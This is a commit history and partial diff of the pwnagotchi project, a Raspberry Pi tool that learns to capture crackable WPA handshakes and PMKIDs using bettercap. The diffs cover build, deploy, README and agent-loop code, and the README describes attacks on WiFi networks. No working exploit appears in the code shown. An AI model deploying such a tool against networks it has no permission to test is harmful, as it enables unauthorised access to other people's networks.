172 Commits

Author SHA1 Message Date
Simone Margaritelli
95b871aade releasing v1.0.0RC5 2019-10-17 22:02:53 +02:00
Simone Margaritelli
7b05f10c6f pwngrid 1.7.6 2019-10-17 21:56:12 +02:00
evilsocket
6b1bca7cb2 Merge pull request #312 from wytshadow/master
added jp translation
2019-10-17 14:01:18 +02:00
Simone Margaritelli
79688305fd fix: fixed reboot procedure (fixes #313) 2019-10-17 13:42:05 +02:00
evilsocket
13b1fb6d14 Merge pull request #298 from dadav/fix/cool-smilie
Fix the weird looking COOL-face
2019-10-17 13:38:43 +02:00
dadav
8a1aad1a99 changed left and right faces 2019-10-17 13:05:47 +02:00
wytshadow
aeb6536959 added jp translation 2019-10-16 15:09:46 -06:00
Simone Margaritelli
970b6922b7 fix: if -> elif typo (fixes #310) 2019-10-16 17:20:48 +02:00
Simone Margaritelli
18dd71b989 💔 2019-10-16 16:37:42 +02:00
evilsocket
256ccab05c Merge pull request #306 from ciara1234/irish-lang
Adding Irish translations
2019-10-16 14:34:49 +02:00
evilsocket
0aa80d2307 Merge pull request #307 from dadav/fix/improve_bt
Fix/improve bt
2019-10-16 14:34:30 +02:00
dadav
5987f93009 Refracture code 2019-10-16 09:41:47 +02:00
dadav
ebeb22081b Improve logging and add already_connected check 2019-10-16 09:28:29 +02:00
Ciara Brennan
f97b106858 Irish translations
Signed-off-by: Ciara Brennan <ciara.brennan@gmail.com>
2019-10-15 23:52:08 +01:00
evilsocket
c449c77ef9 Merge pull request #304 from deveth0/master
Print effective merged config
2019-10-15 18:17:38 +02:00
amuthmann
a05ea2f48a Merge branch 'master' of github.com:deveth0/pwnagotchi 2019-10-15 17:47:38 +02:00
amuthmann
beb2fedf02 Print effective merged config
Signed-off-by: deveth0 <github@dev-eth0.de>
2019-10-15 17:47:08 +02:00
amuthmann
1936c309f0 Print effective merge config 2019-10-15 17:43:32 +02:00
Simone Margaritelli
ee3fb285be misc: small fix or general refactoring i did not bother commenting 2019-10-15 13:19:30 +02:00
Simone Margaritelli
aa60a369a9 fix: fix for bug mentioned in 13d68c7c24\#commitcomment-35504643 2019-10-15 13:17:26 +02:00
Simone Margaritelli
0e9f9c0f2e fix: fixed typos due to old configuration paths (fixes #300) 2019-10-15 12:05:06 +02:00
Simone Margaritelli
6645c80db3 misc: small fix or general refactoring i did not bother commenting 2019-10-15 11:56:49 +02:00
Simone Margaritelli
13d68c7c24 misc: attempted refactoring of the display support in something less shitty 2019-10-15 11:50:09 +02:00
Simone Margaritelli
df33d20cb2 fix: refactored oledhat layout 2019-10-15 10:45:03 +02:00
Simone Margaritelli
f3eb208c6a fix: refactored papirus layout 2019-10-15 10:42:08 +02:00
Simone Margaritelli
ae5ca2a05e fix: refactored inkyphat layout 2019-10-15 10:37:40 +02:00
evilsocket
a9b9c6677e Merge pull request #296 from systemik/master
Fix for layout.py to handle oledhat
2019-10-15 10:25:43 +02:00
dadav
f85d80d3fd Use the coolest face for the cool emotion 2019-10-14 22:43:12 +02:00
Administrator
4be54cf3ee Fix layout issues 2019-10-14 21:08:07 +02:00
Administrator
c8953d4654 Fix few errors with OledHat 2019-10-14 20:41:41 +02:00
Simone Margaritelli
26ff5c95f2 Merge branch 'master' of github.com:evilsocket/pwnagotchi 2019-10-14 20:20:07 +02:00
Simone Margaritelli
2f0f0edab0 pwngrid 1.7.5 2019-10-14 20:20:00 +02:00
evilsocket
b81c80cf99 Merge pull request #294 from dadav/fix/wpa-sec-cookie
Fix/wpa sec cookie
2019-10-14 20:05:44 +02:00
dadav
baf20a9ac8 Fix url 2019-10-14 19:58:47 +02:00
dadav
280ca22261 Change header to cookie 2019-10-14 19:57:04 +02:00
Simone Margaritelli
277dbd5a16 misc: small fix or general refactoring i did not bother commenting 2019-10-14 19:48:33 +02:00
Simone Margaritelli
5b29f65042 misc: small fix or general refactoring i did not bother commenting 2019-10-14 19:35:49 +02:00
Simone Margaritelli
9f66d7ab96 misc: small fix or general refactoring i did not bother commenting 2019-10-14 19:32:40 +02:00
Simone Margaritelli
9625cf1122 misc: small fix or general refactoring i did not bother commenting 2019-10-14 19:26:23 +02:00
Simone Margaritelli
6b42e48dff misc: refactored ui layout code 2019-10-14 19:21:46 +02:00
evilsocket
d814de75ab Merge pull request #292 from systemik/master
Add support for waveshare oledhat display.
2019-10-14 18:46:28 +02:00
evilsocket
35b442f941 Merge pull request #293 from pcotret/patch-1
Added missing words for the french PO file
2019-10-14 18:42:35 +02:00
Pascal Cotret
0f2ad47c17 Added missing words for the french PO file 2019-10-14 18:25:22 +02:00
Administrator
748dbea13e Fix bug. Line misplaced in the code to init the display. 2019-10-14 18:19:53 +02:00
Administrator
b66f1b66e5 Add oledhat in the default.yml options for ui 2019-10-14 16:41:09 +02:00
Simone Margaritelli
1642663c84 fix: added explicit path for pwngrid client token 2019-10-14 16:40:29 +02:00
Administrator
54a8fd81a5 Initial commit Waveshare OledHat
Add support for Waveshare Oled Hat
Change view.py to have more variable to support more types of screen in the future
2019-10-14 16:38:57 +02:00
Simone Margaritelli
2fe7ac0a71 misc: small fix or general refactoring i did not bother commenting 2019-10-14 16:18:33 +02:00
Simone Margaritelli
4b563398f4 misc: small fix or general refactoring i did not bother commenting 2019-10-14 16:18:07 +02:00
Simone Margaritelli
84be7c0d34 misc: small fix or general refactoring i did not bother commenting 2019-10-14 16:16:59 +02:00
Simone Margaritelli
82bf9b9853 misc: small fix or general refactoring i did not bother commenting 2019-10-14 14:38:24 +02:00
evilsocket
d9d38e7a1e Merge pull request #290 from beliver17/patch-1
Update README.md
2019-10-14 13:17:26 +02:00
beliver17
5b78a13e95 Update README.md 2019-10-14 16:00:05 +05:30
Simone Margaritelli
a8a0f842a3 new: saving unit's fingerprint to /etc/pwnagotchi/fingerprint for easy access 2019-10-14 11:36:42 +02:00
evilsocket
f8a28d375b Merge pull request #276 from dipsylala/master
Inkyphat subclass to incorporate timing changes.
2019-10-14 10:43:39 +02:00
evilsocket
cfa8a02abc Merge pull request #279 from dadav/feature/auto-pairing-bt
Add auto-pair and internet-sharing
2019-10-14 10:42:34 +02:00
evilsocket
e32be6ff27 Merge pull request #285 from cdiemel/plugin.on-callback
on_unfiltered_ap_list() for plugins
2019-10-14 10:42:11 +02:00
evilsocket
ab74395602 Merge pull request #288 from charlesrocket/RU
Fix RU
2019-10-14 10:39:51 +02:00
evilsocket
b7a806c8ad Merge pull request #282 from dadav/feature/migrate-to-statusfile
Migrate to statusfile
2019-10-14 10:38:46 +02:00
-k
e146a87b44 RU locale edits 2019-10-13 22:20:53 -07:00
Casey Diemel
dfb4bcaf21 added on_loaded function
Signed-off-by: Casey Diemel <diemelcw@gmail.com>
2019-10-13 18:13:25 -04:00
Casey Diemel
9aca3a3a5b added example for testing
Signed-off-by: Casey Diemel <diemelcw@gmail.com>
2019-10-13 17:53:18 -04:00
Casey Diemel
d15f8c18b5 updated function call
Signed-off-by: Casey Diemel <diemelcw@gmail.com>
2019-10-13 17:52:41 -04:00
dadav
87a3fb5f0c Migrate to statusfile 2019-10-13 22:39:03 +02:00
dadav
8b366ca736 Add auto-pair and internet-sharing 2019-10-13 21:26:53 +02:00
Casey Diemel
2bbcc36f2a added unfiltered ap list call back
Signed-off-by: Casey Diemel <diemelcw@gmail.com>
2019-10-13 13:57:45 -04:00
Casey Diemel
308746a7de removed plugin.on() return value as is not needed
Signed-off-by: Casey Diemel <diemelcw@gmail.com>
2019-10-13 13:54:22 -04:00
Casey Diemel
d648f7cdf5 Merge branch 'master' into plugin.on-callback
bring the current branch up to evilsocket/pwnagotchi
Signed Off: Casey Diemel <diemelcw@gmail.com>
2019-10-13 13:45:11 -04:00
Dispsylala
5a53670133 Merge remote-tracking branch 'upstream/master' 2019-10-13 18:16:10 +01:00
Simone Margaritelli
e15d0f3323 releasing v1.0.0RC4 2019-10-13 19:07:29 +02:00
Simone Margaritelli
1ce361a839 misc: small fix or general refactoring i did not bother commenting 2019-10-13 18:49:50 +02:00
Dispsylala
e9899dda94 Overrides default inky library to change timings on black rendering 2019-10-13 17:40:58 +01:00
Simone Margaritelli
2430b4a134 misc: small fix or general refactoring i did not bother commenting 2019-10-13 18:35:09 +02:00
Simone Margaritelli
b539a76124 misc: small fix or general refactoring i did not bother commenting 2019-10-13 18:32:14 +02:00
Simone Margaritelli
ba7c0ee4e6 misc: small fix or general refactoring i did not bother commenting 2019-10-13 18:29:56 +02:00
Dispsylala
f0c5ad4b74 Overrides default inky library to change timings on black rendering 2019-10-13 17:18:27 +01:00
Simone Margaritelli
8d2cbee8df fix: fixed log flooding with whitelisten networks for grid report 2019-10-13 18:09:33 +02:00
Simone Margaritelli
6793312691 misc: small fix or general refactoring i did not bother commenting 2019-10-13 18:02:11 +02:00
Simone Margaritelli
5989d2571c misc: small fix or general refactoring i did not bother commenting 2019-10-13 17:55:10 +02:00
Simone Margaritelli
ad2fbdb9dd misc: small fix or general refactoring i did not bother commenting 2019-10-13 17:54:33 +02:00
Simone Margaritelli
1215fda459 misc: small fix or general refactoring i did not bother commenting 2019-10-13 17:45:34 +02:00
Simone Margaritelli
1808392a1d misc: small fix or general refactoring i did not bother commenting 2019-10-13 17:40:30 +02:00
Simone Margaritelli
77efeafd65 misc: small fix or general refactoring i did not bother commenting 2019-10-13 17:39:25 +02:00
Simone Margaritelli
ac5ee1ba7b misc: small fix or general refactoring i did not bother commenting 2019-10-13 17:38:00 +02:00
Simone Margaritelli
ef31366078 mergbe 2019-10-13 17:25:31 +02:00
Simone Margaritelli
5d28557608 new: using pwngrid for mesh advertising (we got rid of scapy loading times) 2019-10-13 17:24:47 +02:00
evilsocket
3a14d1d87f Merge pull request #275 from dadav/feature/bluetooth-plugin
Add bluetooth plugin
2019-10-13 13:25:24 +02:00
dadav
1691896531 add config param 2019-10-13 13:23:38 +02:00
dadav
e08b633c88 add bluetooth plugin 2019-10-13 13:14:22 +02:00
Simone Margaritelli
77c16c38f4 fix: using /proc/uptime to correctly calculate uptime in seconds (fixes #264) 2019-10-13 12:18:35 +02:00
Simone Margaritelli
99d7017785 releasing v1.0.0RC3 2019-10-13 00:07:50 +02:00
Simone Margaritelli
8bc421952b merge 2019-10-12 23:02:37 +02:00
Casey Diemel
3773f96901 Updated on() to allow return values
modified line 21

added line 22-23

Signed-off-by: Casey Diemel <diemelcw@gmail.com>
2019-10-12 16:49:52 -04:00
Simone Margaritelli
b47f3c6b28 fix: fixed restored status after rsa keys generation 2019-10-12 22:01:52 +02:00
evilsocket
17d20837a3 Merge pull request #263 from 0xRoM/cleancap
Cleancap
2019-10-12 20:30:00 +02:00
root
0cccfef14e replaced with os.remove() 2019-10-12 19:29:04 +01:00
root
b46f751e7d modified to better describe plugin 2019-10-12 19:23:41 +01:00
Simone Margaritelli
0f8f77c2be new: new text while generating keys ... 2019-10-12 20:00:50 +02:00
Simone Margaritelli
a9123922c0 fix: better error handling if rsa key files are corrupted (ref #268) 2019-10-12 19:55:20 +02:00
Simone Margaritelli
66e5f89a96 merge 2019-10-12 19:40:42 +02:00
Simone Margaritelli
f84dd00295 fix: ui fixes for inky displays (which i hate) 2019-10-12 19:39:10 +02:00
evilsocket
3535329708 Merge pull request #266 from gpotter2/patch-1
Remove Dot11FCS workaround
2019-10-12 19:17:12 +02:00
Simone Margaritelli
b50c71cf14 fix: removed unused configuration field 2019-10-12 19:13:04 +02:00
Simone Margaritelli
68aebbf126 misc: small fix or general refactoring i did not bother commenting 2019-10-12 19:08:46 +02:00
Simone Margaritelli
c3de66d704 misc: small fix or general refactoring i did not bother commenting 2019-10-12 19:07:32 +02:00
Simone Margaritelli
08a46a5524 misc: small fix or general refactoring i did not bother commenting 2019-10-12 17:56:40 +02:00
Simone Margaritelli
f3e7841b1b misc: small fix or general refactoring i did not bother commenting 2019-10-12 17:53:18 +02:00
Simone Margaritelli
79ba5102d7 fix: cosmetic fixes for inky displays 2019-10-12 17:47:51 +02:00
gpotter2
20036f370d Remove Dot11FCS workaround
Scapy 2.4.3+ (pinned for pwnagotchi) has fixed this issue.

Signed-off-by: gpotter2 <gabriel@potter.fr>
2019-10-12 16:53:29 +02:00
Simone Margaritelli
34b52a11cd fix: fixed sudo in Makefile 2019-10-12 16:48:38 +02:00
root
2d78b52294 cleancap plugin added 2019-10-12 14:49:42 +01:00
root
3cc31686c2 cleancap plugin added 2019-10-12 14:46:25 +01:00
Simone Margaritelli
80159533bc fix: pinning new version of pwngrid 2019-10-12 15:33:42 +02:00
evilsocket
947a41da90 Merge pull request #92 from daswisher/display-fix
Basic display fix for waveshare v1 tri-color
2019-10-12 15:09:58 +02:00
Simone Margaritelli
dea990a531 merge 2019-10-11 23:29:53 +02:00
Simone Margaritelli
dfaf3418af new: grid plugin can now do messaging 2019-10-11 23:29:34 +02:00
evilsocket
36ab3b7655 Merge pull request #260 from chksome/fix-motd-typos
Fix motd typo and some grammar
2019-10-11 20:57:14 +02:00
chksome
5a32a77870 Fix motd typo and some grammar
Signed-off-by: chksome <chksome@protonmail.com>
2019-10-11 13:53:15 -04:00
Simone Margaritelli
7520d4dd6f fix: removed bogus legacy feature (fixes #257) 2019-10-11 19:47:54 +02:00
evilsocket
f73a695747 Merge pull request #259 from python273/patch-1
Fix typo in grid plugin
2019-10-11 19:22:23 +02:00
evilsocket
d94ca76817 Merge pull request #256 from dsopas/master
New portuguese translation added
2019-10-11 19:22:11 +02:00
Kirill
2cfaae1993 Fix typo in grid plugin 2019-10-11 20:13:01 +03:00
Simone Margaritelli
5ed2f2df78 misc: pwngrid 1.5.7 2019-10-11 17:56:57 +02:00
David Sopas
ee55ed7168 Added pt to the list
Added pt (portuguese) language to the "currently implemented" list
2019-10-11 16:52:47 +01:00
David Sopas
ce338e8fef Delete readme.md 2019-10-11 16:42:19 +01:00
David Sopas
9cfa365ec9 Portuguese translation added
Portuguese (european) translation added
2019-10-11 16:41:57 +01:00
David Sopas
fc23415d57 Create readme.md 2019-10-11 16:40:58 +01:00
Simone Margaritelli
fc3367181b fix: better data encapsulation 2019-10-11 17:24:27 +02:00
Simone Margaritelli
8210c0bb71 fix: using pwngrid-peer service from the grid plugin 2019-10-11 16:19:40 +02:00
Simone Margaritelli
3ddc717009 fix: configuring pwngrid-peer service to wait for rsa keys on first boot 2019-10-11 15:34:10 +02:00
Simone Margaritelli
d700e4fd0c new: added pwngrid service to the builder 2019-10-11 15:12:56 +02:00
evilsocket
5eb23e2c84 Merge pull request #254 from caquino/caquino/headers
add motd and defaults.yml disclaimer
2019-10-11 14:17:36 +02:00
Cassiano Aquino
b187b17f9a fix typo 2019-10-11 13:09:19 +01:00
Cassiano Aquino
06e1115cef add motd and defaults.yml disclaimer 2019-10-11 12:51:57 +01:00
evilsocket
71cdaf855d Merge pull request #253 from 0xRoM/quickdic
fix multiple dictionary issue
2019-10-11 11:52:52 +02:00
Michael V. Swisher
9d580ffc0f Updating waveshare logging to specify color vs monochromatic mode 2019-10-11 02:45:22 -07:00
root
f80eeff8fc fix multiple dictionary issue 2019-10-11 10:20:48 +01:00
Simone Margaritelli
be75fc53d4 fix: fixed grid plugin exclusion list use 2019-10-11 09:37:50 +02:00
evilsocket
e6777eba8a Merge pull request #251 from 0xRoM/quickdic
Run a quick dictionary scan against captured handshakes
2019-10-11 08:58:58 +02:00
evilsocket
69d49e1395 Merge pull request #252 from caquino/caquino/firmware
Add hold for firmware and minor cleanup
2019-10-11 08:58:22 +02:00
root
9f3f71ce3d custom face 2019-10-11 00:11:27 +01:00
Cassiano Aquino
28e5ba4e13 Add hold for firmware and minor cleanup 2019-10-10 23:46:10 +01:00
root
e48f9bfcc7 code tidy 2019-10-10 23:34:15 +01:00
root
6c44d7f0f6 quickdic plugin 2019-10-10 19:42:40 +01:00
Simone Margaritelli
86649c8c46 merge 2019-10-10 16:44:11 +02:00
Simone Margaritelli
3d052c5dc1 fix: reporting software version from the grid plugin 2019-10-10 16:43:48 +02:00
Michael V. Swisher
41abfbc981 Typo on self._canvas 2019-10-10 03:23:36 -07:00
Michael V. Swisher
3480b99a45 Updating with master 2019-10-09 21:55:56 -07:00
evilsocket
89dc01c23a Merge pull request #244 from diegopastor/add-es-lang
Add support for spanish language
2019-10-10 00:08:11 +02:00
diego
8a06819979 Merge Master 2019-10-09 16:57:15 -05:00
diego
d72c1d9c93 Add support for spanish language 2019-10-09 16:44:55 -05:00
Simone Margaritelli
078ab63249 new: grid plugin now reports brain.json info 2019-10-09 23:14:02 +02:00
evilsocket
f153f15e9f Merge pull request #239 from caquino/caquino/pt-BR
add pt-BR translation
2019-10-09 23:08:00 +02:00
Cassiano Aquino
d0f34f9528 add pt-BT to the lang comment on config.yml 2019-10-09 20:42:16 +01:00
Cassiano Aquino
da116ea2ad add pt-BR translation 2019-10-09 19:15:40 +01:00
Cassiano Aquino
ad87ea4791 add pt-BR translation 2019-10-09 19:14:42 +01:00
Cassiano Aquino
19b0e00bf5 add pt-BR translation 2019-10-09 19:13:27 +01:00
Cassiano Aquino
315bfd29e5 add pt-BR translation 2019-10-09 19:11:14 +01:00
evilsocket
327bd7d3da Merge pull request #238 from caquino/caquino/travis-image-hash
generate sha256sum from the generated image, add it to the release
2019-10-09 19:55:43 +02:00
Cassiano Aquino
b2a7462b44 Fix typo
add sha256 to extension
2019-10-09 18:55:22 +01:00
evilsocket
a4186e2bfd Merge pull request #236 from caquino/caquino/issue-234
add papirus display system requirements
2019-10-09 19:55:09 +02:00
evilsocket
6de26795af Merge pull request #237 from bitwave/update-de-translation
updated german translation
2019-10-09 19:54:45 +02:00
Cassiano Aquino
2c1a9c471c generate sha256sum from the generated image, add it to the release 2019-10-09 17:50:53 +01:00
Cassiano Aquino
63d95a53c0 add papirus display system requirements 2019-10-09 16:57:00 +01:00
bitwave
d2c160308c updated german translation 2019-10-09 17:46:53 +02:00
evilsocket
a2fa33f2fb Create FUNDING.yml 2019-10-09 16:03:12 +02:00
Michael V. Swisher
1ebb8599b3 Fixing function name mismatch 2019-10-07 07:30:23 -07:00
Michael Swisher
32f87437ec Merge branch 'master' into display-fix 2019-10-05 07:00:51 -07:00
Michael V. Swisher
23cd8ad599 Updating so waveshare 2.13 b/c models only have to maintain black color channel. Color channels aren't used so no need to maintain them 2019-10-05 06:55:04 -07:00
Michael Swisher
defaa154e8 Merge pull request #1 from evilsocket/master
Resync with master
2019-10-03 04:41:07 -07:00
Michael V. Swisher
1b813f41f5 Removing refresh trigger handler since it prevented pwnagotchi ui from displaying 2019-10-03 04:25:28 -07:00
Andreas Kupfer
d3a8dc85c3 add support for 3 colored Waveshare-Display 2019-10-01 22:10:20 +02:00
77 changed files with 3293 additions and 856 deletions

View File

@@ -3,7 +3,6 @@ maintainers:
- caquino
- dadav
- justin-p
- hexwaxwing
features:
- comments

12
.github/FUNDING.yml vendored Normal file
View File

@@ -0,0 +1,12 @@
# These are supported funding model platforms
github: # Replace with up to 4 GitHubSponsors-enabled usernames e.g., [user1, user2]
patreon: evilsocket
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']

View File

@@ -12,7 +12,9 @@ deploy:
secure: vBUokTv94n8s65STUgTiD6I0Iy8KXbBRvQUrAof8XG+U4ZMsH5PmDTpS+wz+SaxI6o0PRkfyOiPVdARhiKAFnfatG3q9EHllMQwqRR2YIju51A3aCxgEJ5uWDoybwQdipERUMMYwUO/8XZaRRpwFD2bdQBFWkBtQyMcAkrEL8BXckwQQ531oDN2hK5gAiTllqsOswV2idwUlBRU9jOtStzff+UgUYsp/ZebsRodyOYkEB2Ev15yARo2HTXbyZ2icwHPtMbx5zmNUSRtxs9a4hfzaK3m6ctK8qLYYUdQvXub/ruuACapdw4Ez88LY1agTecbZhFYmJzv8oANH1e4VUI4owuHnZCpU6LRutS4wOhglrkOrGo6lSUlJeA+RtQjyjBugjej9DDtDyyIlRU1ZaBF3qWR9N5EXKuquf0olOfmUR67ap1NykE9VUpzkYjkoVRTiPs/e2onM/nRNOvAQcIt75FD13u+Y/DcYQ8r7KpMIu1HNdtbVx8gMeq76bRhP1YdDg2jm+DdJ21KWjf5QHsbyoXDfJzdKlCloLIlAU3EPJhMoXsnNzre0/FXeUl6dfteR1axNS6U7e/vKsQ9rlUFZWIQaeVPjfXmFKblNNVQ5uFrrsB/EGHcJl7IUx5fvcRT5hMMNwC660YxVkBXDbRb5fxMW5/+K0BOi9cP6en8=
skip_cleanup: true
file_glob: true
file: pwnagotchi-*.zip
file:
- pwnagotchi-*.zip
- pwnagotchi-*.sha256
on:
tags: true
repo: evilsocket/pwnagotchi

View File

@@ -1,22 +1,23 @@
PWN_HOSTNAME=pwnagotchi
PWN_VERSION=master
all: install image clean
all: clean install image
install:
curl https://releases.hashicorp.com/packer/1.3.5/packer_1.3.5_linux_amd64.zip -o /tmp/packer.zip
unzip /tmp/packer.zip -d /tmp
mv /tmp/packer /usr/bin/packer
sudo mv /tmp/packer /usr/bin/packer
git clone https://github.com/solo-io/packer-builder-arm-image /tmp/packer-builder-arm-image
cd /tmp/packer-builder-arm-image && go get -d ./... && go build
cp /tmp/packer-builder-arm-image/packer-builder-arm-image /usr/bin
sudo cp /tmp/packer-builder-arm-image/packer-builder-arm-image /usr/bin
image:
cd builder && sudo /usr/bin/packer build -var "pwn_hostname=$(PWN_HOSTNAME)" -var "pwn_version=$(PWN_VERSION)" pwnagotchi.json
mv builder/output-pwnagotchi/image pwnagotchi-raspbian-lite-$(PWN_VERSION).img
zip pwnagotchi-raspbian-lite-$(PWN_VERSION).zip pwnagotchi-raspbian-lite-$(PWN_VERSION).img
sudo mv builder/output-pwnagotchi/image pwnagotchi-raspbian-lite-$(PWN_VERSION).img
sudo sha256sum pwnagotchi-raspbian-lite-$(PWN_VERSION).img > pwnagotchi-raspbian-lite-$(PWN_VERSION).sha256
sudo zip pwnagotchi-raspbian-lite-$(PWN_VERSION).zip pwnagotchi-raspbian-lite-$(PWN_VERSION).sha256 pwnagotchi-raspbian-lite-$(PWN_VERSION).img
clean:
rm -rf /tmp/packer-builder-arm-image
rm -f pwnagotchi-raspbian-lite.img
rm -f pwnagotchi-raspbian-lite-*.zip pwnagotchi-raspbian-lite-*.img pwnagotchi-raspbian-lite-*.sha256
rm -rf builder/output-pwnagotchi builder/packer_cache

View File

@@ -11,30 +11,20 @@
</p>
</p>
[Pwnagotchi](https://twitter.com/pwnagotchi) is an [A2C](https://hackernoon.com/intuitive-rl-intro-to-advantage-actor-critic-a2c-4ff545978752)-based "AI" leveraging [bettercap](https://www.bettercap.org/) that learns from its surrounding WiFi environment in order to maximize the crackable WPA key material it captures (either passively, or by performing deauthentication and association attacks). This material is collected as PCAP files containing any form of handshake supported by [hashcat](https://hashcat.net/hashcat/), including [PMKIDs](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/),
[Pwnagotchi](https://pwnagotchi.ai/) is an [A2C](https://hackernoon.com/intuitive-rl-intro-to-advantage-actor-critic-a2c-4ff545978752)-based "AI" leveraging [bettercap](https://www.bettercap.org/) that learns from its surrounding WiFi environment to maximize the crackable WPA key material it captures (either passively, or by performing authentication and association attacks). This material is collected as PCAP files containing any form of handshake supported by [hashcat](https://hashcat.net/hashcat/), including [PMKIDs](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/),
full and half WPA handshakes.
![ui](https://i.imgur.com/c7xh4hN.png)
Instead of merely playing [Super Mario or Atari games](https://becominghuman.ai/getting-mario-back-into-the-gym-setting-up-super-mario-bros-in-openais-gym-8e39a96c1e41?gi=c4b66c3d5ced) like most reinforcement learning based "AI" *(yawn)*, Pwnagotchi tunes [its own parameters](https://github.com/evilsocket/pwnagotchi/blob/master/pwnagotchi/defaults.yml#L73) over time to **get better at pwning WiFi things** in the environments you expose it to.
Instead of merely playing [Super Mario or Atari games](https://becominghuman.ai/getting-mario-back-into-the-gym-setting-up-super-mario-bros-in-openais-gym-8e39a96c1e41?gi=c4b66c3d5ced) like most reinforcement learning-based "AI" *(yawn)*, Pwnagotchi tunes [its parameters](https://github.com/evilsocket/pwnagotchi/blob/master/pwnagotchi/defaults.yml#L73) over time to **get better at pwning WiFi things to** in the environments you expose it to.
More specifically, Pwnagotchi is using an [LSTM with MLP feature extractor](https://stable-baselines.readthedocs.io/en/master/modules/policies.html#stable_baselines.common.policies.MlpLstmPolicy) as its policy network for the [A2C agent](https://stable-baselines.readthedocs.io/en/master/modules/a2c.html). If you're unfamiliar with A2C, here is [a very good introductory explanation](https://hackernoon.com/intuitive-rl-intro-to-advantage-actor-critic-a2c-4ff545978752) (in comic form!) of the basic principles behind how Pwnagotchi learns. (You can read more about how Pwnagotchi learns in the [Usage](https://www.pwnagotchi.ai/usage/#training-the-ai) doc.)
**Keep in mind:** Unlike the usual RL simulations, Pwnagotchi actually learns over time. Time for a Pwnagotchi is measured in epochs; a single epoch can last from a few seconds to minutes, depending on how many access points and client stations are visible. Do not expect your Pwnagotchi to perform amazingly well at the very beginning, as it will be [exploring](https://hackernoon.com/intuitive-rl-intro-to-advantage-actor-critic-a2c-4ff545978752) several combinations of [key parameters](https://www.pwnagotchi.ai/usage/#training-the-ai) to determine ideal adjustments for pwning the particular environment you are exposing it to during its beginning epochs ... but **definitely listen to your Pwnagotchi when it tells you it's bored!** Bring it into novel WiFi environments with you and have it observe new networks and capture new handshakes—and you'll see. :)
**Keep in mind:** Unlike the usual RL simulations, Pwnagotchi learns over time. Time for a Pwnagotchi is measured in epochs; a single epoch can last from a few seconds to minutes, depending on how many access points and client stations are visible. Do not expect your Pwnagotchi to perform amazingly well at the very beginning, as it will be [exploring](https://hackernoon.com/intuitive-rl-intro-to-advantage-actor-critic-a2c-4ff545978752) several combinations of [key parameters](https://www.pwnagotchi.ai/usage/#training-the-ai) to determine ideal adjustments for pwning the particular environment you are exposing it to during its beginning epochs ... but ** listen to your Pwnagotchi when it tells you it's boring!** Bring it into novel WiFi environments with you and have it observe new networks and capture new handshakes—and you'll see. :)
Multiple units within close physical proximity can "talk" to each other, advertising their own presence to each other by broadcasting custom information elements using a parasite protocol I've built on top of the existing dot11 standard. Over time, two or more units trained together will learn to cooperate upon detecting each other's presence by dividing the available channels among them for optimal pwnage.
## Why does Pwnagotchi exist?
For hackers to learn reinforcement learning, WiFi networking, and have an excuse to get out for more walks. Also? **It's cute as f---**.
**In case you're curious about the name:** *Pwnagotchi* is a portmanteau of *pwn* (which we shouldn't have to explain if you are interested in this project :kissing_heart:) and *-gotchi*. It is a nostalgic reference made in homage to a very popular children's toy from the 1990s called the [Tamagotchi](https://en.wikipedia.org/wiki/Tamagotchi). The Tamagotchi (たまごっち, derived from *tamago* (たまご) "egg" + *uotchi* (ウオッチ) "watch") is a cultural touchstone for many Millennial hackers as a formative electronic toy from our collective childhoods. Were you lucky enough to possess a Tamagotchi as a kid? Well, with your Pwnagotchi, you too can enjoy the nostalgic delight of being strangely emotionally attached to a handheld automata *yet again!* Except, this time around...you get to #HackThePlanet. >:D
Multiple units within close physical proximity can "talk" to each other, advertising their presence to each other by broadcasting custom information elements using a parasite protocol I've built on top of the existing dot11 standard. Over time, two or more units trained together will learn to cooperate upon detecting each other's presence by dividing the available channels among them for optimal pwnage.
## Documentation
---
:warning: **THE FOLLOWING DOCUMENTATION IS BEING PREPARED FOR THE v1.0 RELEASE OF PWNAGOTCHI. Since this effort is an active (and unstable) work-in-progress, the docs displayed here are in various stages of [in]completion. There will be dead links and placeholders throughout as we are still building things out in preparation for the v1.0 release.** :warning:
**IMPORTANT NOTE:** If you'd like to alphatest Pwnagotchi and are trying to get yours up and running while the project is still very unstable, please understand that the documentation here may not reflect what is currently implemented. If you have questions, ask the community of alphatesters in the [official Pwnagotchi Slack](https://pwnagotchi.herokuapp.com). The Pwnagotchi dev team is entirely focused on the v1.0 release and will NOT be providing support for alphatesters trying to get their Pwnagotchis working in the meantime. All technical support during this period of development is being provided by your fellow alphatesters in the Slack (thanks, everybody! :heart:).
https://www.pwnagotchi.ai

View File

@@ -2,10 +2,10 @@
if __name__ == '__main__':
import argparse
import time
import os
import logging
import pwnagotchi
import pwnagotchi.grid as grid
import pwnagotchi.utils as utils
import pwnagotchi.plugins as plugins
@@ -33,11 +33,11 @@ if __name__ == '__main__':
plugins.load(config)
keypair = KeyPair()
display = Display(config=config, state={'name': '%s>' % pwnagotchi.name()})
keypair = KeyPair(view=display)
agent = Agent(view=display, config=config, keypair=keypair)
logging.info("%s@%s (v%s)" % (pwnagotchi.name(), agent._keypair.fingerprint, pwnagotchi.version))
logging.info("%s@%s (v%s)" % (pwnagotchi.name(), agent.fingerprint(), pwnagotchi.version))
for _, plugin in plugins.loaded.items():
logging.debug("plugin '%s' v%s loaded from %s" % (plugin.__name__, plugin.__version__, plugin.__file__))
@@ -64,7 +64,7 @@ if __name__ == '__main__':
display.on_manual_mode(agent.last_session)
time.sleep(1)
if Agent.is_connected():
if grid.is_connected():
plugins.on('internet_available', agent)
else:
@@ -78,8 +78,6 @@ if __name__ == '__main__':
agent.recon()
# get nearby access points grouped by channel
channels = agent.get_access_points_by_channel()
# check for free channels to use
agent.check_channels(channels)
# for each channel
for ch, aps in channels:
agent.set_channel(ch)
@@ -104,7 +102,7 @@ if __name__ == '__main__':
# affect ours ... neat ^_^
agent.next_epoch()
if Agent.is_connected():
if grid.is_connected():
plugins.on('internet_available', agent)
except Exception as e:

View File

@@ -11,11 +11,15 @@
